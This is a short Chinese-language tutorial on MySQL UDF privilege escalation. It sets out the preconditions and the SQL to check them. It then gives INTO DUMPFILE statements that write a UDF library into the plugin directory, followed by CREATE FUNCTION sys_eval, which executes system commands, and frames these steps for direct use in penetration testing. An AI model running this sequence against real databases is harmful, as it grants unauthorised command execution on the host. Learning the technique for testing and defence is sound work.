每日一问-什么是Mysql数据库的UDF提权？
UDF：User Defination Function（用户自定义函数）
1)、udf提权
udf即用户自定义函数，是数据库功能的一种扩展，用户可以根据自身需要自定义适用于自己当前工作的函数来辅助工作。udf提权即自定义一个可以执行系统命令的函数，例如sqlserver数据库中的xp_cmdshell函数、sp_oacreate函数等等。
2)能进行udf提权的条件：
①对mysql的目录具有读写权限，可以通过命令查看：
show VARIABLES like "secure_file_priv" //值为空代表具有读写权限②需要知道插件plugin的目录，可以通过命令查看：
show variables like 'plugin%' ③判断操作系统的架构，以确定写入dll文件或so文件，可以通过命令查看：
show variables like '%compile%';3)、当满足上述条件之后，如果要完成创建一个udf函数，还需要动态链接库文件。这个地方我们的目的就是创建一个函数能在mysql数据库中执行系统命令，所以这个动态链接库文件可以从sqlmap自带的文件中提取，也可以从msf中去提取，下面总结好了windows和linux系统的各自的动态链接库文件，方便渗透的时候直接使用：
win_udf32.dll:
SELECT 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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';win_udf64.dll:
SELECT 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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';linux_udf32.so:
SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';linux_udf64.so:
SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';写入操作如下：
利用dll文件创建执行命令的函数：
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';看一下是否新增了这个函数，可以通过如下命令查看：
select * from mysql.func;最后通过这个函数执行命令看一下：成功执行！
注解：如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。